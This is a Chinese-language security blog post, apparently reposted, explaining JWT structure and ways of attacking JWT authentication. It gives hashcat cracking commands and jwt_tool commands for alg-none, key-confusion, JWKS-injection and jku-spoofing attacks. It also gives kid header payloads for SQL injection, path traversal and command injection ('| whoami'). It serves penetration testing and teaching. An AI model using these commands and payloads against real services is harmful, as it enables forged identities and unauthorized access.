JWT分析

介绍:

JWT(JSON Web Tokens)是一个应用层消息保护开放标准(RFC 7519),规定了一种Token实现方式,以JSON为格式。它在近年来被广泛应用于各种认证机制中,但也存在被误用的风险及由此产生的安全问题。

JWT格式:

一个JWT格式如下:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
eyJ1c2VyIjoiYWRtaW4iLCJhY3Rpb24iOiJwcm9maWxlIn0
_LRRXAfXtnagdyB1uRk-7CfkK1RESGwxqQCdwCNSPaI

其使用BASE64加密,解密后可以看到内容为:

{
    "typ": "JWT",
    "alg": "HS256"
}
{
    "user": "admin",
    "action": "profile"
}
_LRRXAfXtnagdyB1uRk-7CfkK1RESGwxqQCdwCNSPaI

其中由三部分组成,分别包含header,payload和signture

header头通常由两部分组成:令牌的类型,即JWT,以及正在使用的散列算法,例如HMAC SHA256或RSA。

payload中会包含一些用户身份信息.,常见选项:

iss: jwt签发者
sub: jwt所面向的用户
aud: 接收jwt的一方
exp: jwt的过期时间,这个过期时间必须要大于签发时间
nbf: 定义在什么时间之前,该jwt都是不可用的.
iat: jwt的签发时间
jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击

signture为签名,是将前面的Header,Payload信息以及一个密钥组合起来并使用Header中的算法进行加密,不同的加密算法主要时对key的使用和验证方法:

    HS256 使用同一个「secret_key」进行签名与验证(对称加密)。一旦 secret_key 泄漏,就毫无安全性可言了。因此 HS256 只适合集中式认证,签名和验证都必须由可信方进行。传统的单体应用广泛使用这种算法,但是请不要在任何分布式的架构中使用它!
    RS256 是使用 RSA 私钥进行签名,使用 RSA 公钥进行验证。公钥即使泄漏也毫无影响,只要确保私钥安全就行。RS256 可以将验证委托给其他应用,只要将公钥给他们就行。
    ES256 和 RS256 一样,都使用私钥签名,公钥验证。算法速度上差距也不大,但是它的签名长度相对短很多(省流量),并且算法强度和 RS256 差不多。

JWT作用:

JWT作用主要位于身份验证,因为网上可以看到其中有对应的身份验证

  1. 认证 Authentication;
  2. 授权 Authorization;
  3. 联合识别;
  4. 客户端会话(无状态的会话);
  5. 客户端机密。

JWT 的一些名词解释:

有时我们可以看到和JWT相关的名词,这里做个解释:

JWS:Signed JWT签名过的jwt,针对JWT格式进行数字签名的操作规范
JWE:Encrypted JWT部分payload经过加密的jwt;目前加密payload的操作不是很普及;
JWK:JWT的密钥,也就是我们常说的 scret;
JWKset:JWT key set在非对称加密中,需要的是密钥对而非单独的密钥;
JWA:当前JWT所用到的密码学算法;
nonsecure JWT:当头部的签名算法被设定为none的时候,该JWT是不安全的;因为签名的部分空缺,所有人都可以修改。

简单测试JWT:

如何发现是否存在JWT令牌,因为其要经过base64编码,所以只要关注对应的base64编码数据即可,可以在使用BP的时候使用如下正则表达式:

[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]* - url-safe JWT version
[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]* - all JWT versions (higher possibility of false positives)

当发现存在JWT令牌的时候,可以使用如下网址对其进行解密:

https://jwt.io/

然后重放下数据包,通过返回结果判断其令牌生命周期,确定是否为一次性令牌。

然后修改其中的部分内容,加密后重放,观察返回结果是否提示错误,如果还可以正常访问,则证明其为通过密钥进行验证,则可以伪造身份;

观察其起源,如果来自客户端,是通过客户端生成,那么去js找对应的密钥,然后使用找到的密钥加密数据进行身份伪造,如果从服务器获取则进行下一步; 

爆破:

爆破有两种方式可以使用hashcat或者jwt_tool.py,我这里使用hashcat,我们可以使用密码本或者掩码两种方式破解,首先将密文保存在文本中:

设置掩码简单例子:

八位数字密码:?d?d?d?d?d?d?d?d
八位未知密码:?a?a?a?a?a?a?a?a
前四位为大写字母,后面四位为数字:?u?u?u?u?d?d?d?d
前四位为数字或者是小写字母,后四位为大写字母或者数字:?h?h?h?h?H?H?H?H
前三个字符未知,中间为admin,后三位未知:?a?a?aadmin?a?a?a
6-8位数字密码:--increment --increment-min 6 --increment-max 8 ?l?l?l?l?l?l?l?l
6-8位数字+小写字母密码:--increment --increment-min 6 --increment-max 8 ?h?h?h?h?h?h?h?h

hashcat -a 0 -m 16500 jwt.txt pass.txt
hashcat -a 3 -m 16500 jwt.txt ?d?d?d?d?d?d?d?d

漏洞利用:

这里我们可以使用jwt_tool攻击对已知jwt漏洞进行利用:

CVE-2015-9235:-X a

设置"alg": "none",没有签名,判断服务器是否禁用了none设置,使用jwt_tool生成:

python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE2OTI4MDE1NTAsImlkIjoie1wiaWRcIjo1NDk4NzcsXCJsb2dpblRpbWVcIjoxNjkyODAxNTUwNTM3LFwidGltZXN0YW1wXCI6MTY5MjgwNDIyODkzN30iLCJpYXQiOjE2OTI4MDE1NTAsImp0aSI6Imhia3d1eSJ9.kDpjuaix2T3AiixJQ3IvBQx8hB_g8fnF1Hev0GtH13U -X a

针对none大小写生成四个结果: 

 如果修改为none后重放数据包可正常返回数据,则证明存在该漏洞;

CVE-2016-5431(密钥混淆攻击):-X k

HS256 算法使用密钥来签名和验证每条消息。 RS256算法使用私钥对消息进行签名,并使用公钥进行身份验证。
如果将算法从RS256改为HS256,后端代码使用公钥作为秘钥,然后使用HS256算法来验证签名。
然后,使用公钥并将 RS256 更改为 HS256,我们可以创建有效的签名。您可以检索执行此操作的 Web 服务器的证书:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

首先使用 jwt_tool 的 -V 标志以及 -pk public.pem 参数来验证您找到的公钥是否与用于签署令牌的密钥匹配,注意,PEM 应在末尾包含一个换行符,但是某些工具在导出密钥时可能会忽略。

然后使用 jwt_tool 的密钥混淆利用模式来伪造新的攻击令牌
python3 jwt_tool.py JWT_HERE -X k -pk pubkey.pem

CVE-2018-0114(JWKS 注入):-X i

创建一个新的 RSA 证书对,注入包含公钥详细信息的 JWKS 文件,然后使用私钥对数据进行签名。如果成功,应用程序应使用您提供的密钥数据进行验证。
使用 jwt_tool 注入包含自动生成的公钥的自定义 JWKS,并使用相应的私钥对令牌进行签名

python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE2OTI4MDE1NTAsImlkIjoie1wiaWRcIjo1NDk4NzcsXCJsb2dpblRpbWVcIjoxNjkyODAxNTUwNTM3LFwidGltZXN0YW1wXCI6MTY5MjgwNDIyODkzN30iLCJpYXQiOjE2OTI4MDE1NTAsImp0aSI6Imhia3d1eSJ9.kDpjuaix2T3AiixJQ3IvBQx8hB_g8fnF1Hev0GtH13U -X i

使用创建的RSA 证书注入,看服务器返回数据是否正常,如果正常则存在该漏洞:

CVE-2020-28042:-X n

 删除令牌末尾的签名。如果存在漏洞,应用程序将会忽略检查签名,可以手动删除或者用工具:

python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE2OTI4MDE1NTAsImlkIjoie1wiaWRcIjo1NDk4NzcsXCJsb2dpblRpbWVcIjoxNjkyODAxNTUwNTM3LFwidGltZXN0YW1wXCI6MTY5MjgwNDIyODkzN30iLCJpYXQiOjE2OTI4MDE1NTAsImp0aSI6Imhia3d1eSJ9.kDpjuaix2T3AiixJQ3IvBQx8hB_g8fnF1Hev0GtH13U -X n

就是删除了最后的signture:

算法置空:

将alg修改为none,并且可以将最后的 signture删除,但是要保留.以保证格式的正确:

如果服务器返回正常结果,则证明存在漏洞;

修改JKU:-X s

jku头是用来获取jwks(json web keys)文件的,这是一个json文件,用来指定获取密钥。我们可以简单地托管我们自己的 JWKS 文件并将他的 jku 指向我们的服务器。

python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE2OTI4MDE1NTAsImlkIjoie1wiaWRcIjo1NDk4NzcsXCJsb2dpblRpbWVcIjoxNjkyODAxNTUwNTM3LFwidGltZXN0YW1wXCI6MTY5MjgwNDIyODkzN30iLCJpYXQiOjE2OTI4MDE1NTAsImp0aSI6Imhia3d1eSJ9.kDpjuaix2T3AiixJQ3IvBQx8hB_g8fnF1Hev0GtH13U -X s

我们可以使用jwt_tool自己定义jku的值,当服务器获取数据后会去jku地址取解密密钥 

修改x5u:

X.509 URL。指向一组以 PEM 形式编码的 X.509(证书格式标准)公共证书的 URI。集合中的第一个证书必须是用于签署此 JWT 的证书。后续证书均签署前一个证书,从而完成证书链。X.509 在 RFC 52807 中定义。传输证书需要运输安全。

创建证书并提取公钥和私钥:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

 

修改KID:

在JWT的头部中,除了存在typ 以及alg之外,还可以存在其他内容。KID 标头是一个密钥标识符。kid是RFC标准中用来表示密钥存储位置的地方,服务端可以根据这个提示来寻找解密密钥。
根据代码的编写情况,可能存在以下问题

{
    "alg": "HS256",
    "typ": "JWT",
    "kid": "1"        //使用密钥1验证token
}

sql注入:

当存在如下语句,从数据库获取值时,可能存在sql注入。

"kid":"aaaaaaa' UNION SELECT 'key';--" //使用字符串"key"验证token

目录遍历:

由于KID通常用于从文件系统中检索密钥文件,因此,如果在使用前不清理KID,文件系统可能会遭到目录遍历攻击。这样,攻击者便能够在文件系统中指定任意文件作为认证的密钥。

"kid": "../../public/css/main.css"   //使用公共文件main.css验证token

命令执行:

有时,将KID参数直接传到不安全的文件读取操作可能会让一些命令注入代码流中

"kid": "key_file" | whoami;

 CVE-2022-25898:

官方的漏洞信息:

当包含非 Base64URL 编码特殊字符或数字转义字符的 JWS 或 JWT 签名可能被错误验证为有效时,10.5.25 之前的包 jsrsasign 容易受到加密签名验证不当的影响。解决方法:在执行 JWS.verify() 或 JWS.verifyJWT() 方法之前,验证 JWS 或 JWT 签名是否具有 Base64URL 和点安全字符串。

根据放出的poc,提取关键信息为:

//验证有效和无效的 HS256 JWT 有效性JWT
var validJwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwOi8vZm9vLmNvbSIsInN1YiI6Im1haWx0bzptaWtlQGZvby5jb20iLCJuYmYiOjE2NTUyMjk3MjksImlhdCI6MTY1NTIyOTcyOSwiZXhwIjoxNjg2NzY1NzI5LCJqdGkiOiJpZDEyMzQ1NiIsImF1ZCI6Imh0dHA6Ly9mb28uY29tL2VtcGxveWVlIn0.eqrgPFuchnot7HgslW8S 1xQUkTDBW-_cyhrPgOOFRzI";

//带有特殊标志的 JWT 无效
var invalidJwt1 = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwOi8vZm9vLmNvbSIsInN1YiI6Im1haWx0bzptaWtlQGZvby5jb20iLCJuYmYiOjE2NTUyMjk3MjksImlhdCI6MTY1NTIyOTcyOSwiZXhwIjoxNjg2NzY1NzI5LCJqdGkiOiJpZDEyMzQ1NiIsImF1ZCI6Imh0dHA6Ly9mb28uY29tL2VtcGxveWVlIn0.eqrgPFuchno!@#$%^&* ()!@#$%^&*()!@#$%^&*()!@#$%^&*()t7HgslW8S1xQUkTDBW-_cyhrPgOOFRzI"; 

//带有附加数字和符号的无效 JWT
var invalidJwt2 = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwOi8vZm9vLmNvbSIsInN1YiI6Im1haWx0bzptaWtlQGZvby5jb20iLCJuYmYiOjE2NTUyMjk3MjksImlhdCI6MTY1NTIyOTcyOSwiZXhwIjoxNjg2NzY1NzI5LCJqdGkiOiJpZDEyMzQ1NiIsImF1ZCI6Imh0dHA6Ly9mb28uY29tL2VtcGxveWVlIn0.eqrgPFuchno\1\1\2\3\4\2\2\3\2\1\2\222\3\1\1\2\2\2\2\2\2\2\2\2\2\2\2\222\23\2\2\2\2t7HgslW8S1xQUkTDBW-_cyhrPgOOFRzI"; 

就是说在signture中加入特殊字符,则错误的signture也会被验证为正确

总结:

根据网上的方法和我自己测试的目前针对JWT的攻击差不多就是上述这些,攻击的主要看目标服务器管理员的安全意识如何,如果配置错误,密钥泄露或者版本太低的情况下可以绕过其认证,进而可以伪造身份进行攻击。

猜你喜欢

转载自blog.csdn.net/GalaxySpaceX/article/details/132467878
jwt